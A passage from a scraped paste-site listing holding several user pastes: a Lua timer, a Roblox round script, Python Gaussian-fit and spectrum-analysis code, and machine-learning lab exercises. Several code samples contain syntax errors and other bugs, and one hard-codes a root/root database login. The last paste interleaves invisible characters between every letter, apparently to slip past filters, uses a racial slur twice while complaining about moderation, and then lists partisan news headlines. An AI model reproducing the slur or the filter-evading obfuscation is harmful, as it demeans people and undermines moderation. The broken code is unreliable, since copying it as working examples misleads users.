19)) + return secs, days +end + +if not fs.exists(""srach"") then + local h = fs.open(""srach"", ""w"") + local secs, days = time() + h.write(secs.."":"".. days) + h.close() +end +i = 0 +while true do + i = (i + 1)%30 + if i == 1 then + local h = fs.open(""srach"", ""r"") + local old = h.readAll() + h.close() + local pos = old:find("":"") + local Osecs, Odays = toNumber(old:sub(1, pos-1)), toNumber(old:sub(pos+1, -1)) + local secs, days = time() + secs, days = secs - Osecs, days - Odays + if secs < 0 then + days = days - 1 + secs = 86400 - secs + end + if secs > 86400 then + days = days + 1 + secs = secs - 86400 + end + local hours = secs // 3600 + secs = secs%3600 + local minutes = secs // 60 + secs = secs%60 + print(days.."" day "".. hours.. "" hour "".. minutes.. "" min "".. secs.. "" sec"") + end + +end" +PCR0SQtL,Roundscript Engine Blueprint (Roblox),imtie,Lua,Tuesday 14th of November 2023 10:29:44 AM CDT,"---fetching vairiables +local PlrSpawnLocations = game.Workspace:WaitForChild(""PlrSpawnLocations"")--Folder with parts inside for players to spawn +local InfectedDictionary = require(game.ReplicatedStorage.Modules.InfectedDictionary) -- you can delte this, it's for me +---Script Variables-------- +local RoundRunning = false +local Wave = 0 +-------------------------- +local function ReadyPlayers() + local FoundPlayers = {} +for i, Plr in pairs(game.Players:GetChildren()) do + if Plr.Character and Plr.Character.Parent ~= nil and Plr.Character.Humanoid.Health > 0 then + table.Insert(FoundPlayers,Plr) + end +end +return FoundPlayers +end + +local function SpawnPlayers(Method) -- Methods: ""NewGame""-waits for ready players , ""Respawn"" -instant respawn, no wait + + if Method == ""NewGame"" then + while wait(5) do --- finding ready players, I chose 5 seconds as extra time for players to load +local FoundPlayers = ReadyPlayers() +if #FoundPlayers > 0 then + ----Getting spawn locations, will break if there is not enough spawn locations equal to the number of players + local AvailableSpawns = {} + for i, v in pairs(PlrSpawnLocations:GetChildren()) do table.Insert(AvailableSpawns,v) end + ---- + for i, Plr, in pairs(FoundPlayers) do + Plr.Character:MoveTo(AvailableSpawns[1].Position) + table.Remove(AvailableSpawns,AvailableSpawns[1]) + end + break + end + end +end + +if Method == ""Respawn"" then + local FoundPlayers = ReadyPlayers() + if #FoundPlayers > 0 then + ----Getting spawn locations, will break if there is not enough spawn locations equal to the number of players + local AvailableSpawns = {} + for i, v in pairs(PlrSpawnLocations:GetChildren()) do table.Insert(AvailableSpawns,v) end + ---- + for i, Plr, in pairs(FoundPlayers) do + Plr.Character:MoveTo(AvailableSpawns[1].Position) + table.Remove(AvailableSpawns,AvailableSpawns[1]) + end + end + end + +end + +local function CleanupMap(Method) -- ""RoundCleanup"" - specific items, ""GameCleanup"" - full cleanup + if Method == ""RoundCleanup"" then + Workspace.RoundTrashBin:Destroy() + end + if Method == ""GameCleanup"" then + Workspace.GameTrashBin:Destroy() + Workspace.RoundTrashBin:Destroy() + end + +end + +local function BroadcastClientMessage(Method) + if Method == ""NewWaveMessage"" then + + end + end + + +local function NormalRound() + Wave += 1 + RoundRunning = true + ------ Folder where stuff will be deleted at the end of a round, (not game) + local RoundTrashBin = Instance.new(""Folder"",Workspace) + RoundTrashBin.Name = ""RoundTrashBin"" + ------ + + --Round stuff here + print(""Round Ended"") + RoundRunning = false + + end + +local function BeginGame() +------ Folder where stuff will be deleted at the end of a game, (not round) + local GameTrashBin = Instance.new(""Folder"",Workspace) + GameTrashbin.Name = ""GameTrashBin"" + ------ + SpawnPlayers(""NewGame"") +NormalRound() + + print(""Game Ended"") +end + +BeginGame()" +kNhXxTMY,Gaussian Fit Case,UF6,Python,Tuesday 14th of November 2023 09:47:14 AM CDT,"import pandas as pd +import matplotlib.pyplot as plt +from scipy.stats import norm + +# Replace 'B5 segmentSummary (1).csv' with the actual CSV file path +file_path = 'B5 segmentSummary (1).csv' + +# Read the CSV file into a Pandas DataFrame +df = pd.read_csv(file_path) + +# Calculate summary statistics for the 'cases' column +cases_summary = df['Slide name'].describe() + +# Print summary statistics for 'cases' column +print(""Summary Statistics for 'Slide name' column:"") +print(cases_summary) + +# Define the range of column positions you want to analyze (columns 6 through 9) +start_column_position = 6 # Corresponds to column 6 +end_column_position = 9 # Corresponds to column 9 + +# Iterate through each numerical column and create a separate figure for Gaussian distribution +for i in range(start_column_position, end_column_position + 1): + col = df.columns[i] + + # Skip 'cases' column + if col == 'Slide name': + continue + + plt.figure(figsize=(8, 6)) + + # Plot Gaussian distribution + target_column = df.iloc[:, i] + mean = target_column.mean() + std_dev = target_column.std() + + # Generate data for the Gaussian distribution + x_range = target_column.dropna().values + fitted_data = norm.pdf(x_range, mean, std_dev) + + # Plot the Gaussian distribution + plt.plot(x_range, fitted_data, 'b-', label='Fitted Gaussian') + + # Plot settings + plt.hist(target_column.dropna(), bins=30, density=True, alpha=0.7, color='gray', label='Data Histogram') + plt.axvline(mean, color='red', linestyle='dashed', linewidth=2, label='Mean') + plt.xlabel('Values') + plt.ylabel('Density') + plt.title(f'Gaussian Fit for {col}') + plt.legend() + + plt.show()" +R6dhWf9N,ml,Sai_karthik,Python,Tuesday 14th of November 2023 09:27:50 AM CDT," +#ex 1 +def bayes_theorem(p_a_b, p_b): + p_a_given_b = (p_a_b) / p_b + return p_a_given_b +p_a_b = 0.03 +p_b = 0.20 +result = bayes_theorem(p_a_b, p_b) +print('P(A|B) = %.f%%' % (result * 100)) + + +#ex 2 +import mysql.connector +try: + conn = mysql.connector.connect(host = 'localhost', user = 'root', password = 'root', database = 'abc') + cursor = conn.cursor() + query = 'SELECT * from students;' + data = cursor.fetchall() + cursor.close() + conn.close() + for row in data: + print(row) +except mysql.connector.Error as e: + print(""Error:"", e) +# #pip install mysql.connector-python +# #create database; +# #use; +# #create table student(sid varchar(10),sname varchar(10),age int); +# #insert into student values + + +#ex 3 +from sklearn.model_selection import train_test_split +from sklearn.neighbors import KNeighborsClassifier +from sklearn import datasets +iris = datasets.load_iris() +print(""Iris Data set loaded..."") +x_train, x_test, y_train, y_test = train_test_split(iris.data,iris.target,test_size = 0.1) +print(""Dataset is split into training and testing..."") +print(""Size of trainng data and its label"",x_train.shape,y_train.shape) +print(""Size of trainng data and its label"",x_test.shape, y_test.shape) +for i in range(len(iris.target_names)): + print(""Label"", i , ""-"",str(iris.target_names[i])) +classifier = KNeighborsClassifier(n_neighbors = 1) +classifier.fit(x_train, y_train) +y_pred = classifier.predict(x_test) +print(""Results of Classification using K-nn with K = 1 "") +for r in range(0,len(x_test)): + print("" Sample:"", str(x_test[r]), "" Actual-label:"", str(y_test[r]), "" Predicted-label:"",str(y_pred[r])) +print(""Classification Accuracy :"" , classifier.score(x_test,y_test)); + + +#ex 4 +from sklearn.cluster import KMeans +import numpy as np +X = np.array([[1.713,1.586], [0.180,1.786], [0.353,1.240],[0.940,1.566], +[1.486,0.759],[1.266,1.106],[1.540,0.419],[0.459,1.799],[0.773,0.186]]) +y = np.array([0,1,1,0,1,0,1,1,1]) +kmeans = KMeans(n_clusters = 3, random_state = 0).fit(X,y) +print(""The input data is "") +print(""VAR1 \t VAR2 \t CLASS"") +i = 0 +for val in X: + print(val[0],""\t"",val[1],""\t"",y[i]) + i+ = 1 +print("" = ""*20) +print(""The Test data to predict "") +test_data = [] +VAR1 = float(input(""Enter Value for VAR1 :"")) +VAR2 = float(input(""Enter Value for VAR2 :"")) +test_data.append(VAR1) +test_data.append(VAR2) +print("" = ""*20) +print(""The predicted Class is : "",kmeans.predict([test_data])) +#1.73 +#1.5 + + +#ex 5 +total_Records = 10 +numGolfRecords = 4 +unConditionalprobGolf = numGolfRecords / total_Records +print(""Unconditional probability of golf: = {}"".format(unConditionalprobGolf)) +numMedRiskSingle = 2 +numMedRisk = 3 +probMedRiskSingle = numMedRiskSingle/total_Records +probMedRisk = numMedRisk/total_Records +conditionalProb = (probMedRiskSingle/probMedRisk) +print(""Conditional probability of single given medRisk: = {}"".format(conditionalProb)) + + +#ex 6 +import pandas as pd +import numpy as np +import matplotlib.pyplot as plt +dataFrame = pd.read_csv('Age_Income.csv') +age = dataFrame['Age'] +income = dataFrame['Income'] +num = np.size(age) +mean_age = np.mean(age) +mean_income = np.mean(income) +CD_ageincome = np.sum(income*age) - num*mean_income*mean_age +CD_ageage = np.sum(age*age) - num*mean_age*mean_age +b1 = CD_ageincome / CD_ageage +b0 = mean_income - b1*mean_age +print(""Estimated Coefficients :"") +print(""b0 = "",b0,""\nb1 = "",b1) +plt.scatter(age, income, color = ""b"",marker = ""o"") +response_Vec = b0 + b1*age +plt.plot(age, response_Vec, color = ""r"") +plt.xlabel('Age') +plt.ylabel('Income') +plt.show() +# Age,Income +# 25,25000 +# 23,22000 +# 24,26000 +# 28,29000 +# 34,38000 +# 32,36500 +# 42,41000 +# 55,81000 +# 45,47500 + + +#ex 7 +import pandas as pd +msg = pd.read_csv('naivetext.csv',names = ['message','label']) +print('The dimensions of the dataset',msg.shape) +msg['labelnum'] = msg.label.map({'pos':1,'neg':0}) +X = msg.message +y = msg.labelnum +print(X) +print(y) +from sklearn.model_selection import train_test_split +xtrain,xtest,ytrain,ytest = train_test_split(X,y) +print ('\n The total number of Training Data :',ytrain.shape) +print ('\n The total number of Test Data :',ytest.shape) +from sklearn.feature_extraction.text import CountVectorizer +count_vect = CountVectorizer() +xtrain_dtm = count_vect.fit_transform(xtrain) +xtest_dtm = count_vect.transform(xtest) +print('\n The words or Tokens in the text documents \n') +print(count_vect.get_feature_names_out()) +df = pd.DataFrame(xtrain_dtm.toarray(),columns = count_vect.get_feature_names_out()) +from sklearn.naive_bayes import MultinomialNB +clf = MultinomialNB().fit(xtrain_dtm,ytrain) +predicted = clf.predict(xtest_dtm) +from sklearn import metrics +print('\n Accuracy of the classifer is',metrics.accuracy_score(ytest,predicted)) +print('\n Confusion matrix') +print(metrics.confusion_matrix(ytest,predicted)) +print('\n The value of Precision' , metrics.precision_score(ytest,predicted)) +print('\n The value of Recall' , metrics.recall_score(ytest,predicted)) + + +#ex 8 +import random +POPULATION_SIZE = 100 +# Valid genes +GENES = '''abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890,.-;:_!""#%&/()=?@${[]}''' +TARGET = ""CMR "" +class Individual(object): + def __init__(self, chromosome): + self.chromosome = chromosome + self.fitness = self.cal_fitness() + @classmethod + def mutated_genes(self): + global GENES + gene = random.choice(GENES) + return gene + @classmethod + def create_gnome(self): + global TARGET + gnome_len = len(TARGET) + return [self.mutated_genes() for _ in range(gnome_len)] + def mate(self, par2): + child_chromosome = [] + for gp1, gp2 in zip(self.chromosome, par2.chromosome): + prob = random.random() + if prob < 0.45: + child_chromosome.append(gp1) + elif prob < 0.90: + child_chromosome.append(gp2) + else: + child_chromosome.append(self.mutated_genes()) + return Individual(child_chromosome) + def cal_fitness(self): + global TARGET + fitness = 0 + for gs, gt in zip(self.chromosome, TARGET): + if gs ! = gt: fitness+ = 1 + return fitness +def main(): + global POPULATION_SIZE + generation = 1 + found = False + population = [] + for _ in range(POPULATION_SIZE): + gnome = Individual.create_gnome() + population.append(Individual(gnome)) + while not found: + population = sorted(population, key = lambda x:x.fitness) + if population[0].fitness < = 0: + found = True + break + new_generation = [] + s = int((10*POPULATION_SIZE)/100) + new_generation.extend(population[:s]) + s = int((90*POPULATION_SIZE)/100) + for _ in range(s): + parent1 = random.choice(population[:50]) + parent2 = random.choice(population[:50]) + child = parent1.mate(parent2) + new_generation.append(child) + population = new_generation + print(""Generation: {}\tString: {}\tFitness: {}"".\ + format(generation, + """".join(population[0].chromosome), + population[0].fitness)) + generation + = 1 + print(""Generation: {}\tString: {}\tFitness: {}"".\ + format(generation, + """".join(population[0].chromosome), + population[0].fitness)) +if __name__ = = '__main__': + main() + + +#ex 9 +import numpy as np +X = np.array(([2, 9], [1, 5], [3, 6]),dtype = float) +y = np.array(([92], [86], [89]),dtype = float) +X = X/np.amax(X,axis = 0) +y = y/100 +def sigmoid(x): + return 1/(1+np.exp(-x)) +def sigmoid_grad(x): + return x * (1 - x) +epoch = 1000 +eta = 0.2 +input_neurons = 2 +hidden_neurons = 3 +output_neurons = 1 +wh = np.random.uniform(size = (input_neurons,hidden_neurons)) +bh = np.random.uniform(size = (1,hidden_neurons)) +wout = np.random.uniform(size = (hidden_neurons,output_neurons)) +bout = np.random.uniform(size = (1,output_neurons)) +for i in range(epoch): + h_ip = np.dot(X,wh) + bh + h_act = sigmoid(h_ip) + o_ip = np.dot(h_act,wout) + bout + output = sigmoid(o_ip) +Eo = y-output +outgrad = sigmoid_grad(output) +d_output = Eo* outgrad +Eh = d_output.dot(wout.T) +hiddengrad = sigmoid_grad(h_act) +d_hidden = Eh * hiddengrad +wout + = h_act.T.dot(d_output) *eta +wh + = X.T.dot(d_hidden) *eta +print(""Normalized Input: \n"" + str(X)) +print(""Actual Output: \n"" + str(y)) +print(""Predicted Output: \n"" ,output ) + + +#ex 10 +import pandas as pd +import numpy as np +data = pd.read_csv('data.csv') +print(data) +concepts = np.array(data)[:,:-1] +print(""\n The attributes are :\n"",concepts) +target = np.array(data)[:,-1] +print(""\n The Target is:\n"",target) +def train(con, tar): + for i, val in enumerate(tar): + if val = = 'yes': + specific_h = con[i].copy() + break + for i, val in enumerate(con): + if tar[i] = = 'yes': + for x in range(len(specific_h)): + if val[x] ! = specific_h[x]: + specific_h[x] = '?' + else: + pass + return specific_h +print(""\nFinal hypothesis is :"",train(concepts, target)) +# sky,air temp,humidity,wind,water,forecast,enjoy sport +# sunny,warm,normal,strong,warm,same,yes +# sunny,high,normal,strong,warm,same,yes +# rainy,cold,high,strong,warm,change,no +# sunny,warm,high,strong,cool,change,yes + + +#ex 11 +import numpy as np +import pandas as pd +data = pd.read_csv('enjoysport.csv') +concepts = np.array(data.iloc[:,0:-1]) +print(""\nInstances are:\n"",concepts) +target = np.array(data.iloc[:,-1]) +print(""\nTarget Values are: "",target) +def learn(concepts, target): + specific_h = concepts[0].copy() + print(""\nInitialization of specific_h and genearal_h"") + print(""\nSpecific Boundary: "", specific_h) + general_h = [[""?"" for i in range(len(specific_h))] for i in range(len(specific_h))] + print(""\nGeneric Boundary: "",general_h) + for i, h in enumerate(concepts): + print(""\nInstance"", i+1 , ""is "", h) + if target[i] = = ""yes"": + print(""Instance is Positive "") + for x in range(len(specific_h)): + if h[x]! = specific_h[x]: + specific_h[x] = '?' + general_h[x][x] = '?' + if target[i] = = ""no"": + print(""Instance is Negative "") + for x in range(len(specific_h)): + if h[x]! = specific_h[x]: + general_h[x][x] = specific_h[x] + else: + general_h[x][x] = '?' + print(""Specific Bundary after "", i+1, ""Instance is "", specific_h) + print(""Generic Boundary after "", i+1, ""Instance is "", general_h) + print(""\n"") + indices = [i for i, val in enumerate(general_h) if val = = ['?', '?', '?', '?', '?', '?']] + for i in indices: + general_h.remove(['?', '?', '?', '?', '?', '?']) + return specific_h, general_h +s_final, g_final = learn(concepts, target) +print(""Final Specific_h: "", s_final, sep = ""\n"") +print(""Final General_h: "", g_final, sep = ""\n"") +# sky,air,temp,humidity,wind,water,forecast,enjoy sport +# sunny,warm,normal,strong,warm,same,yes +# sunny,high,normal,strong,warm,same,yes +# rainy,cold,high,strong,warm,change,no +# sunny,warm,high,strong,cool,change,yes + + +" +yZaPYinp,Untitled,Fhehudjreturn,Python,Tuesday 14th of November 2023 09:20:13 AM CDT,"# import gaussian as gaussian +import pandas as pd +import numpy as np +from scipy.signal import find_peaks +from scipy.optimize import curve_fit +import tkinter as tk +from tkinter import filedialog +import matplotlib.pyplot as plt +from scipy.signal import savgol_filter + +def load_data_for_analysis(): + file_path = filedialog.askopenfilename(filetypes=[(""CSV files"", ""*.csv"")]) + if file_path: + process_csv_file(file_path) + + +def process_csv_file(file_path): + df = pd.read_csv(file_path, skiprows=11, na_values=['NaN']) + df = df.dropna() # Удаление строк с пропущенными значениями + wavelengths = df['Wavelength(nm)'].tolist() + powers = df['P(dBm)'].apply(lambda x: np.exp(float(x) / 10)).tolist() # Преобразование децибелов в обычные числа + plot_spectrum(wavelengths, powers) + + # Преобразование Фурье + fft_values = np.fft.fft(powers) + fft_frequencies = np.fft.fftfreq(len(powers), np.mean(np.diff(wavelengths))) + + # Построение графика преобразования Фурье + plot_fft(fft_frequencies, fft_values) + + # Аппроксимация пиков + peaks, _ = find_peaks(np.abs(fft_values)) + peak_frequencies = fft_frequencies[peaks] + peak_values = np.abs(fft_values[peaks]) + fit_peaks(peak_frequencies, peak_values) + + # построение графика обрезанного + cutoff_frequency = 0.9 # Здесь установите желаемую частоту среза + plot_local_extrema_reconstruction(fft_frequencies, fft_values, cutoff_frequency,wavelengths,powers) + + # Построение графика с локальными максимумами и минимумами + max_indices = (np.diff(np.sign(np.diff(powers))) < 0).nonzero()[0] + 1 # Индексы локальных максимумов + min_indices = (np.diff(np.sign(np.diff(powers))) > 0).nonzero()[0] + 1 # Индексы локальных минимумов + plot_local_extrema(wavelengths, powers, max_indices, min_indices) + + reconstructed_signal = process_signal(fft_frequencies, fft_values, cutoff_frequency) + plot_local_extrema_reconstruction_signal(wavelengths, reconstructed_signal) + + plot_smoothed_spectrum(wavelengths, powers) + + max_indices = np.array(max_indices) + min_indices = np.array(min_indices, dtype=int) + + wavelengths = np.array(wavelengths) + # temp = wavelengths[max_indices] + # print(temp) + powers = np.array(powers) + max_popt, _ = curve_fit(gaussian, wavelengths[max_indices], powers[max_indices], p0=[1, np.mean(wavelengths), 1]) + min_popt, _ = curve_fit(gaussian, wavelengths[min_indices], powers[min_indices], p0=[1, np.mean(wavelengths), 1]) + + max_peak_approximation = gaussian(wavelengths, *max_popt) + min_peak_approximation = gaussian(wavelengths, *min_popt) + + plot_peak_approximation(wavelengths, powers, ""max"", max_peak_approximation) + plot_peak_approximation(wavelengths, powers, ""min"", min_peak_approximation) + + plt.title('Аппроксимация пиков', fontsize=16) + plt.xlabel('Длина волны (нм)', fontsize=12) + plt.ylabel('Мощность', fontsize=12) + plt.legend() + plt.grid() + plt.show() +# Определение функции process_signal +def process_signal(frequencies, values, cutoff_frequency): + filtered_values = filter_noise(frequencies, values, cutoff_frequency) + reconstructed_signal = np.fft.ifft(filtered_values).real + return reconstructed_signal + +def plot_spectrum(wavelengths, powers): + plt.figure(figsize=(8, 6)) + plt.plot(wavelengths, powers, marker='o', linestyle='-', color='b') + plt.title('Спектр', fontsize=16) + plt.xlabel('Длина волны (нм)', fontsize=12) + plt.ylabel('Мощность', fontsize=12) + plt.grid() + plt.show() + +#test smooth graph +def plot_smoothed_spectrum(wavelengths, powers): + smoothed_powers = savgol_filter(powers, 15, 3) # савицкий голей фильтр + plt.figure(figsize=(8, 6)) + plt.plot(wavelengths, smoothed_powers, marker='o', linestyle='-', color='b') + plt.title('Сглаженный спектр') + plt.xlabel('Длина волны (нм)', fontsize=12) + plt.ylabel('Мощность', fontsize=12) + plt.grid() + plt.show() + +# Преобразование Фурье +def plot_fft(frequencies, values): + plt.figure(figsize=(8, 6)) + plt.plot(frequencies, np.abs(values), color='b') + plt.title('Преобразование Фурье', fontsize=16) + plt.xlabel('Частота (Hz)', fontsize=12) + plt.ylabel('Амплитуда', fontsize=12) + plt.grid() + plt.show() + + + +# Функция для построения графика аппроксимации пиков после обратного преобразования Фурье +def fit_peaks_reconstruction(wavelengths, reconstructed_signal): + peaks, _ = find_peaks(reconstructed_signal) + peak_values = reconstructed_signal[peaks] + fit_peaks(wavelengths[peaks], peak_values) + +# Функция для аппроксимации пиков +def fit_peaks(frequencies, values): + def gaussian(x, amplitude, mean, stddev): + return amplitude * np.exp(-((x - mean) / 4 / stddev) ** 2) + + popt, _ = curve_fit(gaussian, frequencies, values, p0=[1, 0, 1]) + plt.figure(figsize=(8, 6)) + plt.plot(frequencies, values, 'b', label='Исходные данные') + plt.plot(frequencies, gaussian(frequencies, *popt), 'r--', label='Аппроксимация') + plt.title('Аппроксимация пиков', fontsize=16) + plt.xlabel('Частота (Hz)', fontsize=12) + plt.ylabel('Амплитуда', fontsize=12) + plt.legend() + plt.grid() + plt.show() + + +# Функция для построения графика с локальными максимумами и минимумами +def plot_local_extrema(wavelengths, powers, max_indices, min_indices): + plt.figure(figsize=(8, 6)) + plt.plot(wavelengths, powers, color='b', label='Спектр') + plt.plot(np.array(wavelengths)[max_indices], np.array(powers)[max_indices], 'ro', label='Локальные максимумы') + plt.plot(np.array(wavelengths)[min_indices], np.array(powers)[min_indices], 'go', label='Локальные минимумы') + plt.title('Локальные экстремумы', fontsize=16) + plt.xlabel('Длина волны (нм)', fontsize=12) + plt.ylabel('Мощность', fontsize=12) + plt.legend() + plt.grid() + plt.show() + + +###############################ФИЛЬТРЫ########################################################### + +# def savgol_filter(signal, window_length, polyorder): +# smoothed_signal = savgol_filter(signal, window_length, polyorder) +# return smoothed_signal + +# Функция для вырезания шума из преобразования Фурье +def filter_noise(frequencies, values, cutoff_frequency): + filtered_values = values.copy() + filtered_values[(np.abs(frequencies) > cutoff_frequency)] = 0 + return filtered_values + + +# no work filter +def gg_filter(values, frequencies, f0, width): + filtered_values = values.copy() + indices = (np.abs(frequencies - f0) < width / 2) | (np.abs(frequencies+f0) signal[1:-1]) & (signal[2:] > signal[1:-1]), [False])) + return max_indices, min_indices +# Функция для построения графика аппроксимации пиков после обратного преобразования Фурье +def fit_peaks_reconstruction(wavelengths, reconstructed_signal): + peaks, _ = find_peaks(reconstructed_signal) + peak_values = reconstructed_signal[peaks] + fit_peaks(wavelengths[peaks], peak_values) + + +# Функция для построения графика с локальными максимумами и минимумами после обратного преобразования Фурье +def plot_local_extrema_reconstruction_signal(wavelengths, reconstructed_signal): + max_indices, min_indices = find_local_extrema(reconstructed_signal) + + plt.figure(figsize=(8, 6)) + + plt.plot(wavelengths, reconstructed_signal, color='b', label='Восстановленный сигнал') + plt.plot(np.array(wavelengths)[max_indices], np.array(reconstructed_signal)[max_indices], 'ro', label='Локальные максимумы') + plt.plot(np.array(wavelengths)[min_indices], np.array(reconstructed_signal)[min_indices], 'go', label='Локальные минимумы') + plt.title('Локальные экстремумы восстановленного сигнала', fontsize=16) + plt.xlabel('Длина волны (нм)', fontsize=12) + plt.ylabel('Амплитуда', fontsize=12) + plt.legend() + plt.grid() + plt.show() + + +# Функция для построения графика с локальными максимумами и минимумами после обратного преобразования Фурье +def plot_local_extrema_reconstruction(frequencies, values, cutoff_frequency,wavelengths,powers): + #filtered_values = filter_noise(frequencies, values, cutoff_frequency) + filtered_values = gg_filter(values, frequencies, 1.5, 3) + reconstructed_signal = np.fft.ifft(filtered_values).real + max_indices, min_indices = find_local_extrema(reconstructed_signal) + + plt.figure(figsize=(8, 6)) + plt.plot(wavelengths,powers) + plt.plot(wavelengths, reconstructed_signal, color='b', label='Восстановленный сигнал') #Вместо wavelengths было frequencies + # plt.plot(wavelengths[max_indices], reconstructed_signal[max_indices], 'ro', label='Локальные максимумы') + # plt.plot(wavelengths[min_indices], reconstructed_signal[min_indices], 'go', label='Локальные минимумы') + plt.plot() + plt.title('Спектр до/после фильтрации', fontsize=16) + plt.xlabel('Длина волны (нм) ', fontsize=12) + plt.ylabel('Амплитуда', fontsize=12) + plt.legend() + plt.grid() + plt.show() + +#Функция Гаусса +def gaussian(x, amplitude, mean, stddev): + return amplitude * np.exp(-((x - mean) / 4 / stddev) ** 2) + +#функция поиска пиков + +def fit_peak(x, y, peak_type): + if peak_type == ""max"": + popt, _ = curve_fit(gaussian, x, y, p0=[1, np.mean(x), 1]) + elif peak_type == ""min"": + popt, _ = curve_fit(gaussian, x, -y, p0=[1, np.mean(x), 1]) + + return gaussian(x, *popt) + + +def plot_peak_approximation(x, y, peak_type, peak_approximation): + if peak_type == ""max"": + plt.plot(x, peak_approximation, 'r--', label='Аппроксимация максимумов') + elif peak_type == ""min"": + plt.plot(x, -peak_approximation, 'g--', label='Аппроксимация минимумов') + + + +# Создание основного окна +root = tk.Tk() +root.title(""GG"") + +# Настройка стилей +root.configure(bg=""#f2f2f2"") +button_style = {""bg"": ""#4CAF50"", ""fg"": ""white"", ""font"": (""Arial"", 12), ""padx"": 20, ""pady"": 10, ""relief"": ""flat""} + +# Создание функциональных элементов +header_label = tk.Label(root, text=""Анализатор данных"", font=(""Arial"", 20), bg=""#f2f2f2"") +header_label.pack(pady=20) + +button = tk.Button(root, text=""Загрузить данные для анализа"", command=load_data_for_analysis, **button_style) +button.pack(pady=20) + +# Запуск основного цикла приложения +root.mainloop() +" +YxxhHnqb,News Nov14 23,Newscaster_Ned,Email,Tuesday 14th of November 2023 08:53:58 AM CDT,".‎.‎.‎.‎.‎.‎.‎.‎.‎.‎.‎.‎.‎.‎.‎.‎.‎.‎T‎e‎s‎t‎ ‎1‎.‎.‎.‎.‎.‎.‎.‎.‎.‎.‎.‎.‎.‎.‎.‎.‎.‎.‎ +.‎.‎.‎.‎.‎.‎.‎.‎.‎.‎.‎.‎.‎.‎.‎.‎.‎.‎T‎e‎s‎t‎ ‎2‎.‎.‎.‎.‎.‎.‎.‎.‎.‎.‎.‎.‎.‎.‎.‎.‎.‎.‎ +.‎.‎.‎.‎.‎.‎.‎.‎.‎.‎.‎.‎.‎.‎.‎.‎.‎.‎T‎e‎s‎t‎ ‎3‎.‎.‎.‎.‎.‎.‎.‎.‎.‎.‎.‎.‎.‎.‎.‎.‎.‎.‎ +.‎.‎.‎.‎.‎.‎.‎.‎.‎.‎.‎.‎.‎.‎.‎.‎.‎.‎.‎.‎.‎.‎.‎.‎.‎.‎.‎ ‎T‎e‎s‎t‎ ‎c‎o‎m‎p‎l‎e‎t‎e‎.‎ + +W‎e‎l‎l‎ ‎P‎a‎s‎t‎e‎b‎i‎n‎ ‎s‎a‎y‎s‎ ‎t‎h‎e‎y‎'‎r‎e‎ ‎g‎o‎n‎n‎a‎ ‎f‎i‎r‎e‎ ‎m‎e‎ ‎i‎f‎ ‎I‎ ‎s‎a‎y‎ ‎n‎i‎g‎g‎e‎r‎ ‎o‎n‎e‎ ‎m‎o‎r‎e‎ ‎t‎i‎m‎e‎.‎.‎.‎ ‎T‎h‎i‎s‎ ‎i‎s‎ ‎d‎e‎p‎r‎e‎s‎s‎i‎n‎g‎.‎ ‎I‎ ‎c‎a‎n‎'‎t‎ ‎e‎v‎e‎n‎ ‎s‎a‎y‎ ‎n‎i‎g‎g‎e‎r‎ ‎a‎n‎y‎m‎o‎r‎e‎.‎.‎.‎ ‎W‎h‎a‎t‎e‎v‎e‎r‎.‎ ‎H‎e‎r‎e‎'‎s‎ ‎t‎h‎e‎ ‎n‎e‎w‎s‎.‎ + +R‎e‎b‎o‎o‎t‎e‎d‎ ‎Q‎u‎e‎e‎r‎ ‎‘‎G‎r‎e‎e‎n‎ ‎L‎a‎n‎t‎e‎r‎n‎’‎ ‎C‎o‎m‎i‎c‎ ‎F‎l‎o‎p‎s‎ ‎H‎a‎r‎d‎ ‎a‎s‎ ‎W‎r‎i‎t‎e‎r‎s‎ ‎C‎a‎l‎l‎s‎ ‎C‎o‎m‎i‎c‎s‎ ‎F‎a‎n‎ +Z‎u‎c‎k‎e‎r‎b‎e‎r‎g‎'‎s‎ ‎M‎e‎t‎a‎'‎s‎ ‎$‎3‎6‎B‎ ‎P‎l‎o‎t‎ ‎t‎o‎ ‎R‎e‎e‎n‎g‎i‎n‎e‎e‎r‎ ‎S‎o‎c‎i‎e‎t‎y‎ ‎a‎n‎d‎ ‎C‎r‎e‎a‎t‎e‎ ‎T‎e‎c‎h‎ ‎A‎d‎d‎i‎c‎t‎s‎ +I‎s‎r‎a‎e‎l‎ ‎C‎o‎n‎f‎i‎r‎m‎s‎ ‎D‎e‎a‎t‎h‎ ‎o‎f‎ ‎C‎a‎p‎t‎i‎v‎e‎ ‎S‎o‎l‎d‎i‎e‎r‎ ‎S‎h‎o‎w‎n‎ ‎i‎n‎ ‎H‎a‎m‎a‎s‎ ‎T‎e‎r‎r‎o‎r‎ ‎V‎i‎d‎e‎o‎ +E‎x‎c‎l‎u‎s‎i‎v‎e‎—‎S‎e‎a‎m‎u‎s‎ ‎B‎r‎u‎n‎e‎r‎ ‎E‎x‎p‎o‎s‎e‎s‎ ‎t‎h‎e‎ ‎A‎g‎e‎n‎d‎a‎ ‎o‎f‎ ‎B‎i‎l‎l‎i‎o‎n‎a‎i‎r‎e‎ ‎‘‎C‎o‎n‎t‎r‎o‎l‎i‎g‎a‎r‎c‎h‎s‎’‎ +J‎a‎m‎i‎e‎ ‎L‎e‎e‎ ‎C‎u‎r‎t‎i‎s‎ ‎A‎t‎t‎a‎c‎k‎s‎ ‎R‎e‎l‎i‎g‎i‎o‎n‎ ‎O‎v‎e‎r‎ ‎L‎G‎B‎T‎:‎ ‎M‎u‎s‎t‎ ‎b‎e‎ ‎'‎E‎x‎p‎o‎s‎e‎d‎ ‎a‎n‎d‎ ‎S‎i‎l‎e‎n‎c‎e‎d‎'‎ +J‎o‎h‎n‎s‎o‎n‎ ‎E‎n‎d‎o‎r‎s‎e‎s‎ ‎T‎r‎u‎m‎p‎ ‎'‎W‎h‎o‎l‎e‎h‎e‎a‎r‎t‎e‎d‎l‎y‎'‎ +B‎a‎b‎y‎ ‎I‎n‎d‎i‎ ‎D‎i‎e‎s‎ ‎A‎f‎t‎e‎r‎ ‎U‎K‎'‎s‎ ‎S‎o‎c‎i‎a‎l‎i‎s‎e‎d‎ ‎H‎e‎a‎l‎t‎h‎ ‎S‎y‎s‎t‎e‎m‎ ‎R‎e‎m‎o‎v‎e‎s‎ ‎L‎i‎f‎e‎ ‎S‎u‎p‎p‎o‎r‎t‎ +N‎i‎g‎e‎l‎ ‎F‎a‎r‎a‎g‎e‎ ‎E‎n‎t‎e‎r‎s‎ ‎t‎h‎e‎ ‎J‎u‎n‎g‎l‎e‎ ‎o‎n‎ ‎'‎I‎'‎m‎ ‎a‎ 